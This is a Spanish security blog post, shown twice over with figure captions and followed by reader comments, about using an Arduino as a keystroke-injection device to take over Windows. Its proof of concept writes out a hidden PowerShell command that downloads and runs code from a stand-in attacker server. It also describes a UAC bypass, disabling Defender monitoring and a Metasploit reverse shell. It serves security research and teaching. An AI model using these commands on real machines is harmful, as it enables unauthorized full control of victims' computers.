Arducky: Un Rubber Ducky hecho sobre Arduino para hackear Windows #Arduino
Arducky es una manera de llamar a un Arduino haciendo de Rubber Ducky. Como sabemos, Rubber Ducky es un teclado malicioso envuelto en la forma de un pendrive, de manera que no levanta sospecha y que es capaz de ejecutar comandos de teclado a gran velocidad.
Rubber Ducky no es más que un microcontrolador (AT32UC3B1256) similar al que podemos encontrar en algunas placas Arduino como son la Leonardo, la Esplora o la Micro, que montan un 32u4 y dicho microcontrolador tiene librerías para hacer clics de ratón y pulsaciones de teclado. Es por ello, por lo que no es difícil construirse un Rubber Ducky a base de Arduino y comenzar a cargar diferentes payloads para ver su funcionamiento.
Una de las ventajas que tiene Rubber Ducky es que los scripts tienen su propia forma de escribirse, los llamados Ducky Script, y que se almacenan en formato de texto en una tarjeta SD. Sin embargo, en los micros 32u4 hay que adaptarlo a la librería, aunque esto no es muy difícil ya que tenemos a disposición herramientas online y offline para convertir código de Ducky Script a Arduino, como son Duckuino o Ducky2Arduino.
Como se puede ver los script son muy simples. Las instrucciones indican lo siguiente:
PoC: Reverse TCP connection + Fileless BypassUAC
Como hemos visto anteriormente, las acciones que realiza el Arduino son sencillas:
PASO 1: Arduino mediante la capacidad que se la ha proporcionado para ejecutar teclas, escribe la sentencia anterior en la ventana ejecutar.
PASO 2: Esta sentencia ejecuta una consola Powershell en modo oculto mediante el atributo -W Hidden. El parámetro que se le proporciona iex (new-object net.webclient).downloadstring('attacker_server') nos permite descargar un fichero de un servidor remoto que controlemos y ejecutarlo sin que llegue a guardarse en disco, de tal manera, que cuando termine la ejecución de todos nuestros scripts, ninguno de ellos se quedará en el disco de la víctima.
PASO 3: En este caso, el script que descargaremos y ejecutaremos será el siguiente:
Si nos fijamos, el script es muy sencillo. Por una parte, estamos realizando un UAC bypass mediante el binario sdclt.exe para desactivar el firewall de Windows mediante la sentencia:
El resultado final es el compromiso total con máximos privilegios del equipo de la víctima en un tiempo de unos pocos segundos, tal y como podemos ver en el vídeo prueba de concepto.
Conclusión
En la prueba que hemos realizado hemos dado otra vida a una placa Arduino UNO flasheando su micro 16u2 para hacer que también este pueda utilizar la librería de teclado de Arduino. El 16u2 es el microcrontrolador que tienen algunos Arduinos (como el UNO y el Mega) que se utilizan como puente entre el USB del ordenador y el puerto serie del microcontrolador principal.
Para flashear el microcontrolador 16u2, se puede hacer siguiendo el proyecto HoodLoader2 que de manera sencilla se puede reprogramar y utilizar los dos microcontroladores que nos ofrece la placa. De esta manera, en vez de tener el microcontrolador 16u2 como un conversor USB-Serial se convierte en CDC Serial, pudiendo de esta manera emular teclados y ratones.
Y esto es todo lo que se tiene que realizar para tener un Arducky. Basta con dejar el ordenador descuidado unos segundos para dejar una brecha de seguridad en el equipo. Happy arduhacking!
Autores: Álvaro Núñez - Romero (@toolsprods) y Santiago Hernández, Security Researchers en ElevenPaths
Figura 1: Arducky. Un Rubber Ducky hecho sobre Arduino para hackear Windows |
Rubber Ducky no es más que un microcontrolador (AT32UC3B1256) similar al que podemos encontrar en algunas placas Arduino como son la Leonardo, la Esplora o la Micro, que montan un 32u4 y dicho microcontrolador tiene librerías para hacer clics de ratón y pulsaciones de teclado. Es por ello, por lo que no es difícil construirse un Rubber Ducky a base de Arduino y comenzar a cargar diferentes payloads para ver su funcionamiento.
Figura 2: Formato de un Rubber Ducky |
Una de las ventajas que tiene Rubber Ducky es que los scripts tienen su propia forma de escribirse, los llamados Ducky Script, y que se almacenan en formato de texto en una tarjeta SD. Sin embargo, en los micros 32u4 hay que adaptarlo a la librería, aunque esto no es muy difícil ya que tenemos a disposición herramientas online y offline para convertir código de Ducky Script a Arduino, como son Duckuino o Ducky2Arduino.
Figura 3: Fragmento de código usado en formato Rubber Script |
- REM indica comentarios, estas lineas no ejecutan nada.
- DELAY hace una pausa, en el caso del ejemplo de 3 segundos al principio y más adelante de medio segundo para esperar a que salga la ventana de ejecutar.
- GUI r es la pulsación de la tecla WIN y la “r”, que sirve para los sistemas operativos Windows para mostrar rápidamente la ventana de ejecutar.
- STRING es la pulsación de todas las teclas de manera automática y a gran velocidad.
- ENTER pulsa la tecla enter.En el caso de utilizar Arduino hay que convertir este código con alguno de los conversores mencionados anteriormente.
PoC: Reverse TCP connection + Fileless BypassUAC
Como hemos visto anteriormente, las acciones que realiza el Arduino son sencillas:
- Simula las pulsaciones de las teclas WIN+R para obtener la ventana ejecutar.
- Escribe a gran velocidad la ejecución de la siguiente instrucción:Una vez que tenemos la capacidad de ejecutar el comando anterior, necesitamos establecer un método, lo más transparente posible para el usuario, a través del cual podamos tomar el control de la máquina de la víctima. Para ello, se establece el siguiente escenario:
"powershell.exe -W Hidden -C iex (new-object net.webclient).downloadstring('attacker_server')"
Figura 4: Escenario para la PoC de Arducky |
PASO 1: Arduino mediante la capacidad que se la ha proporcionado para ejecutar teclas, escribe la sentencia anterior en la ventana ejecutar.
Figura 5: Comando a ejecutar desde Arduino |
PASO 2: Esta sentencia ejecuta una consola Powershell en modo oculto mediante el atributo -W Hidden. El parámetro que se le proporciona iex (new-object net.webclient).downloadstring('attacker_server') nos permite descargar un fichero de un servidor remoto que controlemos y ejecutarlo sin que llegue a guardarse en disco, de tal manera, que cuando termine la ejecución de todos nuestros scripts, ninguno de ellos se quedará en el disco de la víctima.
PASO 3: En este caso, el script que descargaremos y ejecutaremos será el siguiente:
Figura 6: Script de código a ejecutar |
Si nos fijamos, el script es muy sencillo. Por una parte, estamos realizando un UAC bypass mediante el binario sdclt.exe para desactivar el firewall de Windows mediante la sentencia:
Set-MpPreference -DisableRealtimeMonitoring 1Una vez hemos desactivado el firewall, volvemos a escribir las claves de registro correspondientes y realizamos un segundo bypass, pero esta vez utilizando la técnica de Metasploit web delivery para devolver una conexión reversa como administrador a la máquina del atacante.
Figura 7: PoC de ejecución de Arducky para conseguir control de la máquina
Conclusión
En la prueba que hemos realizado hemos dado otra vida a una placa Arduino UNO flasheando su micro 16u2 para hacer que también este pueda utilizar la librería de teclado de Arduino. El 16u2 es el microcrontrolador que tienen algunos Arduinos (como el UNO y el Mega) que se utilizan como puente entre el USB del ordenador y el puerto serie del microcontrolador principal.
Figura 8: Proyecto HoodLoader 2 |
Para flashear el microcontrolador 16u2, se puede hacer siguiendo el proyecto HoodLoader2 que de manera sencilla se puede reprogramar y utilizar los dos microcontroladores que nos ofrece la placa. De esta manera, en vez de tener el microcontrolador 16u2 como un conversor USB-Serial se convierte en CDC Serial, pudiendo de esta manera emular teclados y ratones.
Y esto es todo lo que se tiene que realizar para tener un Arducky. Basta con dejar el ordenador descuidado unos segundos para dejar una brecha de seguridad en el equipo. Happy arduhacking!
Autores: Álvaro Núñez - Romero (@toolsprods) y Santiago Hernández, Security Researchers en ElevenPaths
13 comentarios:
Esta genial, pero me da miedo flashear mi Arduino... bueno, me da miedo flashear cualquier cosa, mas que nada por si sale mal.
Pero creo que vale la pena hacerlo, con tal de probar esto en mis equipos.
Un saludo y gracias.
Aquí no lo comentan pero en la web de hoodloader te dicen como flashear utilizando dos arduino que yo es el método que recomiendo
Creo que ha faltado comentar que esto se puede hacer también en Linux y Mac, simplemente hay que adaptar los comandos a ejecutar según que si, no es sólo para Windows
Despues de flashear mi Arduino como lo puedo revertir para utilizarlo de nuevo?
Excelente, no conocía los Rubber Ducky, pero parecen una herramienta bastante útil para esto de ejecutar exploits
No tienes porque revertirlo, hay un código para meter en el 16u2 para que cargue el código del 328 y se comporte como antes
Que tal chema, cual seria la diferencia entre usar un Arduino UNO y smolpion (ya q quisiera apoyar el proyecto en kickstarter)? me parece que tienen el mismo integrado pero funcionan igual o similar... valdria la pena utilizar herramientas dedicadas para estos fines? ...
http://accessgranted.com.mx/introduccion-a-ataques-con-smolpion/
Se les olvidó mencionar el layout!
Menudo articulazo
Está muy bueno !! Les dejo que yo lo hice con el ATtiny85:
http://redes-seguridad.blogspot.com.ar/2017/08/shell-reversa-con-bad-usb-casero-bajo.html
Los mejores post siempre los encuentro aquí.
Muchas gracias Chema, saludos desde España!!
Publicar un comentario